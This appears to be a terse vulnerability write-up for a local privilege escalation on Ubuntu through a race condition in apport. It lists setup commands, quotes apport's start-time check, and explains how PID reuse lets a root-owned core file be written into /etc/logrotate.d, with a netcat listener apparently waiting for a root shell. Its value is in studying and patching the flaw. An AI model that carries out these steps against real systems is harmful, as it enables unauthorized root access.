
race condition in apport lead to Local Privilege Escalation on Ubuntu
sudo apt-get install apport=2.20.11-0ubuntu27 (any version <= 2.20.11-0ubuntu27.10 is fine, but you have to download the source code)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping in /etc/sudoersulimit -c unlimited; ./exploit/etc/logrotate.d/corenc -lvcp 1234sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf to trigger logrotate immediately. (just same as /etc/cron.daily/logrotate)Apport will check if pid is reused, by check if the start time of the process is later than apport self:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
But this pid could be re-used just after apport launched. In such case, get_apport_starttime() == get_process_starttime().
So, an you can let apport drop a core file with -rw------- root:root, if you can re-ocupy this PID with another process running under uid==0:
sudo ping 8.8.8.8 with cwd /etc/logrotate.d/. a process running under root:root will re-occupy pid A.